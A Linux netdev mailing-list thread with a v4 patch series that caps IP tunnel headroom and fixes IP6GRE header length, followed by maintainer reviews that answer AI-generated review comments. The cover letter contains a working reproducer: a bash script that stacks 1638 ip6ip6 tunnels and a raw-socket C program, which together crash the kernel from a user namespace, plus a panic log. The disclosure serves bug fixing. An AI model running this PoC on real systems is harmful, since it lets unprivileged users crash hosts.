* [PATCH net v4 0/2] net: fix IP6GRE header length before capping tunnel headroom
@ 2026-08-12 16:22 Zhiling Zou
2026-08-12 16:22 ` [PATCH net v4 1/2] ip6_gre: fix hardware header length for NBMA tunnels Zhiling Zou
2026-08-12 16:22 ` [PATCH net v4 2/2] net: cap advertised IP tunnel headroom Zhiling Zou
0 siblings, 2 replies; 5+ messages in thread
From: Zhiling Zou @ 2026-08-12 16:22 UTC (permalink / raw)
To: idosch, netdev
Cc: dsahern, davem, edumazet, kuba, pabeni, horms, atenart,
yuehaibing, kuniyu, kees, kylebot, thorsten.blum, maoyixie.tju,
vega, zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in IP tunnel headroom accounting. The bug is
reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
IP tunnel devices derive advertised headroom from lower output devices. A
namespace-local stack of tunnel devices can make that advertised reservation
larger than the 16-bit skb header offsets can represent. Once IP output
reserves that space and records network or transport header offsets, later skb
head expansion can wrap those offsets and leave header helpers pointing into
headroom instead of the packet area.
For IP6GRE, there is an earlier accounting bug that has to be fixed first:
ip6gre_tnl_link_config_route() folds the lower device's hard_header_len into
the tunnel device's hard_header_len whenever header_ops is set. That is wrong
for both header_ops users. ip6gretap and ip6erspan have a fixed Ethernet
hardware header length, while an NBMA ip6gre tunnel's header_ops creates only
the tunnel header: GRE, optional FOU or GUE, and the outer IPv6 header. The
lower device header is needed headroom, not part of the tunnel device's
hardware header.
This series first fixes that IP6GRE hardware-header accounting, then caps the
advertised IP tunnel needed_headroom at the same 512-byte limit already used
by the runtime tunnel transmit path. Tunnel transmit can still expand the skb
when a packet needs more headroom, so nonsensical stacked configurations may
pay an extra reallocation but cannot publish an unbounded reservation to upper
layers.
Reproducer:
make
unshare -Urn ./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
if [[ "$(id -u)" -ne 0 ]]; then
echo "run as root or inside 'unshare -Urn'" >&2
exit 1
fi
DIR="$(cd "$(dirname "$0")" && pwd)"
sysctl -qw net.ipv6.conf.all.accept_dad=0
sysctl -qw net.ipv6.conf.default.accept_dad=0
sysctl -qw net.ipv6.conf.all.router_solicitations=0
sysctl -qw net.ipv6.conf.default.router_solicitations=0
sysctl -qw net.ipv6.conf.all.accept_ra=0
sysctl -qw net.ipv6.conf.default.accept_ra=0
sysctl -qw net.ipv6.conf.all.autoconf=0
sysctl -qw net.ipv6.conf.default.autoconf=0
ip link add x0 type veth peer name x1
ip link set x0 up
ip link set x1 up
ip -6 addr add fd40::1/64 dev x0 nodad
ip -6 addr add fd40::2/64 dev x1 nodad
prev=x0
for i in $(seq 0 1637); do
name="w$i"
subnet="$(printf '%x' "$i")"
next="$(printf '%x' "$((i + 1))")"
ip link add "$name" type ip6tnl mode ip6ip6 \
local "fd40:${subnet}::1" remote "fd40:${subnet}::2" \
dev "$prev" encaplimit none
ip link set "$name" up
ip -6 addr add "fd40:${next}::1/64" dev "$name" nodad
prev="$name"
if (( (i + 1) % 400 == 0 )); then
echo "built $((i + 1)) / 1638 tunnels" >&2
fi
done
exec "$DIR/poc" w1637 fd40:666::1 fd40:666::2 160
------END poc.sh--------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
struct ipv6_hdr_raw {
uint32_t vtc_flow;
uint16_t payload_len;
uint8_t nexthdr;
uint8_t hop_limit;
struct in6_addr saddr;
struct in6_addr daddr;
} __attribute__((packed));
static void die(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char **argv)
{
const char *ifname;
const char *src_str;
const char *dst_str;
struct sockaddr_in6 dst = { 0 };
struct ipv6_hdr_raw *hdr;
unsigned char *packet;
int sock;
int hdrincl = 1;
size_t payload_len = 160;
size_t packet_len;
ssize_t sent;
if (argc < 4 || argc > 5) {
fprintf(stderr, "usage: %s <ifname> <src> <dst> [payload_len]\n", argv[0]);
return 1;
}
ifname = argv[1];
src_str = argv[2];
dst_str = argv[3];
if (argc == 5) {
char *end = NULL;
unsigned long tmp = strtoul(argv[4], &end, 0);
if (!end || *end != '\0' || tmp > 1200) {
fprintf(stderr, "invalid payload_len: %s\n", argv[4]);
return 1;
}
payload_len = tmp;
}
packet_len = sizeof(*hdr) + payload_len;
packet = calloc(1, packet_len);
if (!packet)
die("calloc");
hdr = (struct ipv6_hdr_raw *)packet;
hdr->vtc_flow = htonl(6u << 28);
hdr->payload_len = htons((uint16_t)payload_len);
hdr->nexthdr = 59;
hdr->hop_limit = 64;
if (inet_pton(AF_INET6, src_str, &hdr->saddr) != 1) {
fprintf(stderr, "invalid source IPv6 address: %s\n", src_str);
return 1;
}
if (inet_pton(AF_INET6, dst_str, &hdr->daddr) != 1) {
fprintf(stderr, "invalid destination IPv6 address: %s\n", dst_str);
return 1;
}
for (size_t i = 0; i < payload_len; i++)
packet[sizeof(*hdr) + i] = (unsigned char)i;
sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
if (sock < 0)
die("socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)");
if (setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, ifname, strlen(ifname) + 1) < 0)
die("setsockopt(SO_BINDTODEVICE)");
if (setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &hdrincl, sizeof(hdrincl)) < 0)
die("setsockopt(IPV6_HDRINCL)");
dst.sin6_family = AF_INET6;
if (inet_pton(AF_INET6, dst_str, &dst.sin6_addr) != 1) {
fprintf(stderr, "invalid destination IPv6 address: %s\n", dst_str);
return 1;
}
sent = sendto(sock, packet, packet_len, 0, (struct sockaddr *)&dst, sizeof(dst));
if (sent < 0)
die("sendto");
printf("sent %zd bytes via %s\n", sent, ifname);
close(sock);
free(packet);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 234.045915] BUG: unable to handle page fault for address: ffff88821e640006
[ 234.047065] #PF: supervisor read access in kernel mode
[ 234.047877] #PF: error_code(0x0000) - not-present page
[ 234.048721] PGD 5a01067 P4D 5a01067 PUD 0
[ 234.049389] Oops: Oops: 0000 [#1] SMP NOPTI
[ 234.050125] CPU: 2 UID: 1028 PID: 9206 Comm: python3 Not tainted 6.12.95 #1
[ 234.051234] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 234.053041] RIP: 0010:__skb_flow_dissect (/home/roxy/linux-block-patch/build/../include/linux/rcupdate.h:867 /home/roxy/linux-block-patch/build/../net/core/flow_dissector.c:1172)
[ 234.053865] Code: 00 00 00 00 00 48 c7 84 24 a0 00 00 00 00 00 00 00 83 f8 27 0f 8e 9a 0a 00 00 49 63 c6 4c 01 c0 0f 84 7f 01 00 00 49 8b 14 24 <44> 0f b6 48 06 f6 c2 08 74 3c 41 0f b7 54 24 0e 48 8b 48 08 41 bd
All code
========
0: 00 00 add %al,(%rax)
2: 00 00 add %al,(%rax)
4: 00 48 c7 add %cl,-0x39(%rax)
7: 84 24 a0 test %ah,(%rax,%riz,4)
a: 00 00 add %al,(%rax)
c: 00 00 add %al,(%rax)
e: 00 00 add %al,(%rax)
10: 00 83 f8 27 0f 8e add %al,-0x71f0d808(%rbx)
16: 9a (bad)
17: 0a 00 or (%rax),%al
19: 00 49 63 add %cl,0x63(%rcx)
1c: c6 (bad)
1d: 4c 01 c0 add %r8,%rax
20: 0f 84 7f 01 00 00 je 0x1a5
26: 49 8b 14 24 mov (%r12),%rdx
2a:* 44 0f b6 48 06 movzbl 0x6(%rax),%r9d <-- trapping instruction
2f: f6 c2 08 test $0x8,%dl
32: 74 3c je 0x70
34: 41 0f b7 54 24 0e movzwl 0xe(%r12),%edx
3a: 48 8b 48 08 mov 0x8(%rax),%rcx
3e: 41 rex.B
3f: bd .byte 0xbd
Code starting with the faulting instruction
===========================================
0: 44 0f b6 48 06 movzbl 0x6(%rax),%r9d
5: f6 c2 08 test $0x8,%dl
8: 74 3c je 0x46
a: 41 0f b7 54 24 0e movzwl 0xe(%r12),%edx
10: 48 8b 48 08 mov 0x8(%rax),%rcx
14: 41 rex.B
15: bd .byte 0xbd
[ 234.056808] RSP: 0018:ffffc9000aac75a0 EFLAGS: 00010286
[ 234.057649] RAX: ffff88821e640000 RBX: ffff8881055201c0 RCX: ffffc9000aac76cc
[ 234.058844] RDX: 000000000020105f RSI: 0000000000000000 RDI: 0000000000000000
[ 234.059977] RBP: ffffc9000aac76a0 R08: ffff88821e640000 R09: 0000000000000000
[ 234.061118] R10: 000000000000dd86 R11: ffffc9000aac76cc R12: ffffffff83966000
[ 234.062255] R13: ffffc9000aac7620 R14: 0000000000000000 R15: 0000000000000000
[ 234.063403] FS: 00007e28f9bbd780(0000) GS:ffff88813bd00000(0000) knlGS:0000000000000000
[ 234.064686] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 234.065606] CR2: ffff88821e640006 CR3: 000000011e52a002 CR4: 0000000000770ef0
[ 234.066745] PKRU: 55555554
[ 234.067214] Call Trace:
[ 234.067617] <TASK>
[ 234.070979] __xfrm_decode_session (/home/roxy/linux-block-patch/build/../net/xfrm/xfrm_policy.c:3504)
[ 234.071688] icmpv6_route_lookup (/home/roxy/linux-block-patch/build/../include/net/ip6_route.h:285 /home/roxy/linux-block-patch/build/../net/ipv6/icmp.c:372)
[ 234.072397] icmp6_send (/home/roxy/linux-block-patch/build/../net/ipv6/icmp.c:686 (discriminator 1))
[ 234.073647] icmpv6_ndo_send (/home/roxy/linux-block-patch/build/../net/ipv6/ip6_icmp.c:16)
[ 234.074296] ip6_tnl_start_xmit (/home/roxy/linux-block-patch/build/../net/ipv6/ip6_tunnel.c:1440)
[ 234.074981] dev_hard_start_xmit (/home/roxy/linux-block-patch/build/../include/linux/netdevice.h:4835 /home/roxy/linux-block-patch/build/../include/linux/netdevice.h:5379 /home/roxy/linux-block-patch/build/../include/linux/netdevice.h:5371 /home/roxy/linux-block-patch/build/../net/core/dev.c:3888 /home/roxy/linux-block-patch/build/../net/core/dev.c:3904)
[ 234.075660] __dev_queue_xmit (/home/roxy/linux-block-patch/build/../include/linux/netfilter_netdev.h:137 /home/roxy/linux-block-patch/build/../net/core/dev.c:4806)
[ 234.080901] ip6_finish_output2 (/home/roxy/linux-block-patch/build/../include/net/ipv6.h:738 /home/roxy/linux-block-patch/build/../net/ipv6/ip6_output.c:83)
[ 234.083021] ip6_finish_output (/home/roxy/linux-block-patch/build/../include/net/dst.h:582 (discriminator 2) /home/roxy/linux-block-patch/build/../net/ipv6/ip6_output.c:235 (discriminator 2))
[ 234.083699] rawv6_sendmsg (/home/roxy/linux-block-patch/build/../net/ipv6/raw.c:908)
[ 234.086335] __sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:2258)
[ 234.086841] __x64_sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:2268)
[ 234.087453] do_syscall_64 (/home/roxy/linux-block-patch/build/../include/linux/sched/task_stack.h:23 /home/roxy/linux-block-patch/build/../arch/x86/include/asm/entry-common.h:43 /home/roxy/linux-block-patch/build/../include/linux/irq-entry-common.h:100 /home/roxy/linux-block-patch/build/../include/linux/entry-common.h:174 /home/roxy/linux-block-patch/build/../arch/x86/entry/syscall_64.c:89)
[ 234.088057] entry_SYSCALL_64_after_hwframe (/home/roxy/linux-block-patch/build/../arch/x86/entry/entry_64.S:121)
[ 234.088865] RIP: 0033:0x7e28f9c51687
[ 234.092398] RSP: 002b:00007ffeda544450 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 234.093617] RAX: ffffffffffffffda RBX: 00007e28f9bbd780 RCX: 00007e28f9c51687
[ 234.094763] RDX: 00000000000000c8 RSI: 00007e28f96489b0 RDI: 0000000000000003
[ 234.096853] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
[ 234.099484] CR2: ffff88821e640006
[ 234.099936] ---[ end trace 0000000000000000 ]---
[ 234.111918] Kernel panic - not syncing: Fatal exception in interrupt
-----END crash log-----
Best regards,
Zhiling Zou
changes in v4:
- Add a prerequisite IP6GRE patch that fixes hard_header_len accounting before
capping tunnel headroom, as requested by Ido.
- Keep lower device headers in needed_headroom for IP6GRE and leave the fixed
Ethernet hard_header_len unchanged for ip6gretap and ip6erspan.
- Apply the advertised headroom cap after the IP6GRE accounting fix.
- v3 Link: https://lore.kernel.org/all/0ac01576f92412e8fa35cc3eb44336797a9d11d0.1786021595.git.zhilinz@nebusec.ai/
changes in v3:
- Split netkit handling into a separate follow-up.
- Explain why capping advertised headroom is safe.
- Use local variables for derived headroom.
- v2 Link: https://lore.kernel.org/all/0ae4aa29223b89049727aec4d36f144bad41537e.1785476387.git.zhilinz@nebusec.ai/
changes in v2:
- Move the fix from IP send paths to tunnel and netkit device control paths.
- Cap advertised IP tunnel headroom at 512 and reject netkit headroom
values above that limit at device creation.
- v1 Link: https://lore.kernel.org/all/0c6c64e9bbd71a0decc8504a384061e0e631be13.1785054561.git.zhilinz@nebusec.ai/
Zhiling Zou (2):
ip6_gre: fix hardware header length for NBMA tunnels
net: cap advertised IP tunnel headroom
include/net/ip_tunnels.h | 11 +++++++++--
net/ipv4/ip_tunnel.c | 2 +-
net/ipv6/ip6_gre.c | 14 ++++++--------
net/ipv6/ip6_tunnel.c | 7 +++++--
net/ipv6/sit.c | 2 +-
5 files changed, 22 insertions(+), 14 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 5+ messages in thread* [PATCH net v4 1/2] ip6_gre: fix hardware header length for NBMA tunnels
2026-08-12 16:22 [PATCH net v4 0/2] net: fix IP6GRE header length before capping tunnel headroom Zhiling Zou
@ 2026-08-12 16:22 ` Zhiling Zou
2026-08-17 6:42 ` Ido Schimmel
2026-08-12 16:22 ` [PATCH net v4 2/2] net: cap advertised IP tunnel headroom Zhiling Zou
1 sibling, 1 reply; 5+ messages in thread
From: Zhiling Zou @ 2026-08-12 16:22 UTC (permalink / raw)
To: idosch, netdev
Cc: dsahern, davem, edumazet, kuba, pabeni, horms, atenart,
yuehaibing, kuniyu, kees, kylebot, thorsten.blum, maoyixie.tju,
vega, zhilinz
ip6gre_tnl_link_config_route() accumulates the lower device's hardware
header length into dev->hard_header_len whenever header_ops is set. This
is incorrect for both users of header_ops.
ip6gretap and ip6erspan have a fixed Ethernet hardware header length.
For an NBMA ip6gre tunnel, ip6gre_header() creates only the GRE header,
the optional FOU or GUE header, and the outer IPv6 header. The lower
device header is headroom needed later, not part of the tunnel device's
hardware header.
Keep the lower device header in needed_headroom. Set hard_header_len to
the tunnel header length only for ARPHRD_IP6GRE devices with header_ops,
and leave the fixed Ethernet header length unchanged for tap and erspan
devices.
Fixes: 832ba596494b ("net: ip6_gre: set dev->hard_header_len when using header_ops")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Suggested-by: Ido Schimmel <idosch@nvidia.com>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/ipv6/ip6_gre.c | 13 ++++---------
1 file changed, 4 insertions(+), 9 deletions(-)
diff --git a/net/ipv6/ip6_gre.c b/net/ipv6/ip6_gre.c
index b843116e9b703..70c1710910203 100644
--- a/net/ipv6/ip6_gre.c
+++ b/net/ipv6/ip6_gre.c
@@ -1137,13 +1137,8 @@ static void ip6gre_tnl_link_config_route(struct ip6_tnl *t, int set_mtu,
return;
if (rt->dst.dev) {
- unsigned short dst_len = rt->dst.dev->hard_header_len +
- t_hlen;
-
- if (t->dev->header_ops)
- dev->hard_header_len = dst_len;
- else
- dev->needed_headroom = dst_len;
+ dev->needed_headroom = rt->dst.dev->hard_header_len +
+ t_hlen;
if (set_mtu) {
int mtu = rt->dst.dev->mtu - t_hlen;
@@ -1171,8 +1166,8 @@ static int ip6gre_calc_hlen(struct ip6_tnl *tunnel)
t_hlen = tunnel->hlen + sizeof(struct ipv6hdr);
- if (tunnel->dev->header_ops)
- tunnel->dev->hard_header_len = LL_MAX_HEADER + t_hlen;
+ if (tunnel->dev->header_ops && tunnel->dev->type == ARPHRD_IP6GRE)
+ tunnel->dev->hard_header_len = t_hlen;
else
tunnel->dev->needed_headroom = LL_MAX_HEADER + t_hlen;
--
2.43.0
^ permalink raw reply related [flat|nested] 5+ messages in thread* Re: [PATCH net v4 1/2] ip6_gre: fix hardware header length for NBMA tunnels
2026-08-12 16:22 ` [PATCH net v4 1/2] ip6_gre: fix hardware header length for NBMA tunnels Zhiling Zou
@ 2026-08-17 6:42 ` Ido Schimmel
0 siblings, 0 replies; 5+ messages in thread
From: Ido Schimmel @ 2026-08-17 6:42 UTC (permalink / raw)
To: Zhiling Zou
Cc: netdev, dsahern, davem, edumazet, kuba, pabeni, horms, atenart,
yuehaibing, kuniyu, kees, kylebot, thorsten.blum, maoyixie.tju,
vega
On Thu, Aug 13, 2026 at 12:22:34AM +0800, Zhiling Zou wrote:
> ip6gre_tnl_link_config_route() accumulates the lower device's hardware
> header length into dev->hard_header_len whenever header_ops is set. This
> is incorrect for both users of header_ops.
>
> ip6gretap and ip6erspan have a fixed Ethernet hardware header length.
> For an NBMA ip6gre tunnel, ip6gre_header() creates only the GRE header,
> the optional FOU or GUE header, and the outer IPv6 header. The lower
> device header is headroom needed later, not part of the tunnel device's
> hardware header.
>
> Keep the lower device header in needed_headroom. Set hard_header_len to
> the tunnel header length only for ARPHRD_IP6GRE devices with header_ops,
> and leave the fixed Ethernet header length unchanged for tap and erspan
> devices.
>
> Fixes: 832ba596494b ("net: ip6_gre: set dev->hard_header_len when using header_ops")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
It wasn't reported by Vega.
> Suggested-by: Ido Schimmel <idosch@nvidia.com>
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
Reviewed-by: Ido Schimmel <idosch@nvidia.com>
You are expected to reply to AI feedback.
"
Patch authors are expected to proactively look into the AI-generated
reviews and handle such feedback as any other kind of review: either
debate it or address it. In both cases a reply on the mailing list is
expected.
"
https://docs.kernel.org/next/process/maintainer-netdev.html#review-timelines
> ---
> net/ipv6/ip6_gre.c | 13 ++++---------
> 1 file changed, 4 insertions(+), 9 deletions(-)
>
> diff --git a/net/ipv6/ip6_gre.c b/net/ipv6/ip6_gre.c
> index b843116e9b703..70c1710910203 100644
> --- a/net/ipv6/ip6_gre.c
> +++ b/net/ipv6/ip6_gre.c
> @@ -1137,13 +1137,8 @@ static void ip6gre_tnl_link_config_route(struct ip6_tnl *t, int set_mtu,
> return;
>
> if (rt->dst.dev) {
> - unsigned short dst_len = rt->dst.dev->hard_header_len +
> - t_hlen;
> -
> - if (t->dev->header_ops)
> - dev->hard_header_len = dst_len;
> - else
> - dev->needed_headroom = dst_len;
> + dev->needed_headroom = rt->dst.dev->hard_header_len +
> + t_hlen;
"
Since dev->hard_header_len was already set to t_hlen in ip6gre_calc_hlen()
for NBMA tunnels, doesn't adding t_hlen here double-count the tunnel header
length?
"
No. ip6gre_tnl_link_config_route() is a NOP for NBMA tunnels since they
don't have IP6_TNL_F_CAP_XMIT set.
>
> if (set_mtu) {
> int mtu = rt->dst.dev->mtu - t_hlen;
> @@ -1171,8 +1166,8 @@ static int ip6gre_calc_hlen(struct ip6_tnl *tunnel)
>
> t_hlen = tunnel->hlen + sizeof(struct ipv6hdr);
>
> - if (tunnel->dev->header_ops)
> - tunnel->dev->hard_header_len = LL_MAX_HEADER + t_hlen;
> + if (tunnel->dev->header_ops && tunnel->dev->type == ARPHRD_IP6GRE)
> + tunnel->dev->hard_header_len = t_hlen;
> else
> tunnel->dev->needed_headroom = LL_MAX_HEADER + t_hlen;
"
By removing the LL_MAX_HEADER fallback for NBMA ip6gre tunnels, what happens
if rt6_lookup() fails in ip6gre_tnl_link_config_route() (which is expected
for NBMA tunnels with an ANY remote address)?
"
ip6gre_tnl_link_config_route() is not executed for NBMA tunnels.
"
Without the fallback, dev->needed_headroom would remain 0, and the total
allocated headroom would just be t_hlen. When transmitted, the packet will
require t_hlen + physical_dev->hard_header_len bytes, which would miss the
physical device's headroom and force a reallocation and copy via
pskb_expand_head() on every transmitted packet.
"
dev->needed_headroom was 0 even before the patch, but it's irrelevant
since NBMA tunnels seem to be completely broken. See below.
"
This isn't a bug introduced by this patch, but I noticed NBMA IPv6 GRE
tunnels might be double-encapsulating packets and corrupting headers.
In net/ipv6/ip6_gre.c:__gre6_xmit(), the code relies on the dummy header
pushed by ip6gre_header() to read the destination address:
if (dev->header_ops && dev->type == ARPHRD_IP6GRE)
fl6->daddr = ((struct ipv6hdr *)skb->data)->daddr;
However, the dummy header is not pulled before pushing the real outer GRE
and IPv6 headers. Doesn't this leave the dummy headers in the payload,
causing double-encapsulation ([Real IPv6] [Real GRE] [Dummy IPv6]
[Dummy GRE] [Payload])?
"
This does look buggy, but NBMA tunnels are completely broken.
ip6gre_tunnel_xmit() is passing the wrong addresses to
ip6_tnl_xmit_ctl(), so it is always returning 0 and ip6gre_tunnel_xmit()
is dropping the packets. ip6gre_tunnel_xmit() is deriving the addresses
from the tunnel configuration (ANY) instead of from the packet, as
should be done with an NBMA tunnel.
And:
"
This is also a pre-existing issue, but looking at
net/ipv6/ip6_gre.c:ip6gre_header():
ipv6h = skb_push(skb, needed);
...
p = (__be16 *)(ipv6h + 1);
p[0] = ip_tunnel_flags_to_be16(t->parms.o_flags);
p[1] = htons(type);
This function allocates the full header length via skb_push() and
initializes the IPv6 header and the first 4 bytes of the GRE header.
Since the remaining bytes of t->hlen (up to 24 bytes for GRE keys,
checksums, and sequence) are not initialized, and __gre6_xmit() fails
to pull this dummy header, does this leak uninitialized kernel heap memory
to the network in every packet?
"
Again, these packets don't even reach __gre6_xmit(), so they don't end
up on the wire.
"
This isn't a bug introduced by this patch, but now that hard_header_len is
set to exactly t_hlen, does it make the disagreement with ip6gre_header()
explicit?
"
Yes, it's returning the wrong value (needs to return 'needed'), but it's
pre-existing and NBMA tunnels wouldn't work even if this is fixed.
^ permalink raw reply [flat|nested] 5+ messages in thread
* [PATCH net v4 2/2] net: cap advertised IP tunnel headroom
2026-08-12 16:22 [PATCH net v4 0/2] net: fix IP6GRE header length before capping tunnel headroom Zhiling Zou
2026-08-12 16:22 ` [PATCH net v4 1/2] ip6_gre: fix hardware header length for NBMA tunnels Zhiling Zou
@ 2026-08-12 16:22 ` Zhiling Zou
2026-08-17 6:43 ` Ido Schimmel
1 sibling, 1 reply; 5+ messages in thread
From: Zhiling Zou @ 2026-08-12 16:22 UTC (permalink / raw)
To: idosch, netdev
Cc: dsahern, davem, edumazet, kuba, pabeni, horms, atenart,
yuehaibing, kuniyu, kees, kylebot, thorsten.blum, maoyixie.tju,
vega, zhilinz
IP tunnel devices derive their advertised needed_headroom from lower
output devices. A stack of user-created devices can make the derived
value larger than the 16-bit skb header offsets can represent. Once IP
output reserves it, skb head expansion can wrap those offsets.
The runtime transmit path already caps a growing needed_headroom at 512.
Apply the same cap when tunnel configuration publishes needed_headroom
derived from a lower output device.
Capping the advertised value is safe: IP tunnel transmit still expands
the skb when a packet needs more headroom. A nonsensical stacked
configuration can therefore incur an extra reallocation, but it cannot
publish an unbounded reservation to upper layers.
Fixes: 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
include/net/ip_tunnels.h | 11 +++++++++--
net/ipv4/ip_tunnel.c | 2 +-
net/ipv6/ip6_gre.c | 7 +++++--
net/ipv6/ip6_tunnel.c | 7 +++++--
net/ipv6/sit.c | 2 +-
5 files changed, 21 insertions(+), 8 deletions(-)
diff --git a/include/net/ip_tunnels.h b/include/net/ip_tunnels.h
index d708b66e55cda..85e3455cea259 100644
--- a/include/net/ip_tunnels.h
+++ b/include/net/ip_tunnels.h
@@ -629,8 +629,7 @@ struct metadata_dst *iptunnel_metadata_reply(struct metadata_dst *md,
int skb_tunnel_check_pmtu(struct sk_buff *skb, struct dst_entry *encap_dst,
int headroom, bool reply);
-static inline void ip_tunnel_adj_headroom(struct net_device *dev,
- unsigned int headroom)
+static inline unsigned int ip_tunnel_limit_headroom(unsigned int headroom)
{
/* we must cap headroom to some upperlimit, else pskb_expand_head
* will overflow header offsets in skb_headers_offset_update().
@@ -640,6 +639,14 @@ static inline void ip_tunnel_adj_headroom(struct net_device *dev,
if (headroom > max_allowed)
headroom = max_allowed;
+ return headroom;
+}
+
+static inline void ip_tunnel_adj_headroom(struct net_device *dev,
+ unsigned int headroom)
+{
+ headroom = ip_tunnel_limit_headroom(headroom);
+
if (headroom > READ_ONCE(dev->needed_headroom))
WRITE_ONCE(dev->needed_headroom, headroom);
}
diff --git a/net/ipv4/ip_tunnel.c b/net/ipv4/ip_tunnel.c
index 9d114bd575f92..5b1f180485d42 100644
--- a/net/ipv4/ip_tunnel.c
+++ b/net/ipv4/ip_tunnel.c
@@ -317,7 +317,7 @@ static int ip_tunnel_bind_dev(struct net_device *dev)
mtu = min(tdev->mtu, IP_MAX_MTU);
}
- dev->needed_headroom = t_hlen + hlen;
+ dev->needed_headroom = ip_tunnel_limit_headroom(t_hlen + hlen);
mtu -= t_hlen + (dev->type == ARPHRD_ETHER ? dev->hard_header_len : 0);
if (mtu < IPV4_MIN_MTU)
diff --git a/net/ipv6/ip6_gre.c b/net/ipv6/ip6_gre.c
index 70c1710910203..200d0ba1a40e7 100644
--- a/net/ipv6/ip6_gre.c
+++ b/net/ipv6/ip6_gre.c
@@ -1137,8 +1137,11 @@ static void ip6gre_tnl_link_config_route(struct ip6_tnl *t, int set_mtu,
return;
if (rt->dst.dev) {
- dev->needed_headroom = rt->dst.dev->hard_header_len +
- t_hlen;
+ unsigned int headroom;
+
+ headroom = rt->dst.dev->hard_header_len + t_hlen;
+ headroom = ip_tunnel_limit_headroom(headroom);
+ dev->needed_headroom = headroom;
if (set_mtu) {
int mtu = rt->dst.dev->mtu - t_hlen;
diff --git a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c
index bf8e40af60b08..2c941acb081fa 100644
--- a/net/ipv6/ip6_tunnel.c
+++ b/net/ipv6/ip6_tunnel.c
@@ -1522,8 +1522,11 @@ static void ip6_tnl_link_config(struct ip6_tnl *t)
tdev = __dev_get_by_index(t->net, p->link);
if (tdev) {
- dev->needed_headroom = tdev->hard_header_len +
- tdev->needed_headroom + t_hlen;
+ unsigned int headroom;
+
+ headroom = tdev->hard_header_len + tdev->needed_headroom;
+ headroom += t_hlen;
+ dev->needed_headroom = ip_tunnel_limit_headroom(headroom);
mtu = min_t(unsigned int, tdev->mtu, IP6_MAX_MTU);
mtu = mtu - t_hlen;
diff --git a/net/ipv6/sit.c b/net/ipv6/sit.c
index a38b24fb83842..19b7fa8d1a2a0 100644
--- a/net/ipv6/sit.c
+++ b/net/ipv6/sit.c
@@ -1131,7 +1131,7 @@ static void ipip6_tunnel_bind_dev(struct net_device *dev)
WRITE_ONCE(dev->mtu, mtu);
hlen = tdev->hard_header_len + tdev->needed_headroom;
}
- dev->needed_headroom = t_hlen + hlen;
+ dev->needed_headroom = ip_tunnel_limit_headroom(t_hlen + hlen);
}
static void ipip6_tunnel_update(struct ip_tunnel *t,
--
2.43.0
^ permalink raw reply related [flat|nested] 5+ messages in thread* Re: [PATCH net v4 2/2] net: cap advertised IP tunnel headroom
2026-08-12 16:22 ` [PATCH net v4 2/2] net: cap advertised IP tunnel headroom Zhiling Zou
@ 2026-08-17 6:43 ` Ido Schimmel
0 siblings, 0 replies; 5+ messages in thread
From: Ido Schimmel @ 2026-08-17 6:43 UTC (permalink / raw)
To: Zhiling Zou
Cc: netdev, dsahern, davem, edumazet, kuba, pabeni, horms, atenart,
yuehaibing, kuniyu, kees, kylebot, thorsten.blum, maoyixie.tju,
vega
On Thu, Aug 13, 2026 at 12:22:35AM +0800, Zhiling Zou wrote:
> IP tunnel devices derive their advertised needed_headroom from lower
> output devices. A stack of user-created devices can make the derived
> value larger than the 16-bit skb header offsets can represent. Once IP
> output reserves it, skb head expansion can wrap those offsets.
>
> The runtime transmit path already caps a growing needed_headroom at 512.
> Apply the same cap when tunnel configuration publishes needed_headroom
> derived from a lower output device.
>
> Capping the advertised value is safe: IP tunnel transmit still expands
> the skb when a packet needs more headroom. A nonsensical stacked
> configuration can therefore incur an extra reallocation, but it cannot
> publish an unbounded reservation to upper layers.
>
> Fixes: 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
Reviewed-by: Ido Schimmel <idosch@nvidia.com>
[...]
> diff --git a/net/ipv6/ip6_gre.c b/net/ipv6/ip6_gre.c
> index 70c1710910203..200d0ba1a40e7 100644
> --- a/net/ipv6/ip6_gre.c
> +++ b/net/ipv6/ip6_gre.c
> @@ -1137,8 +1137,11 @@ static void ip6gre_tnl_link_config_route(struct ip6_tnl *t, int set_mtu,
> return;
>
> if (rt->dst.dev) {
> - dev->needed_headroom = rt->dst.dev->hard_header_len +
> - t_hlen;
> + unsigned int headroom;
> +
> + headroom = rt->dst.dev->hard_header_len + t_hlen;
> + headroom = ip_tunnel_limit_headroom(headroom);
> + dev->needed_headroom = headroom;
"
Can this clamp in ip6gre_tnl_link_config_route() ever fire?
[...]
So rt->dst.dev->hard_header_len + t_hlen stays in the tens of bytes and
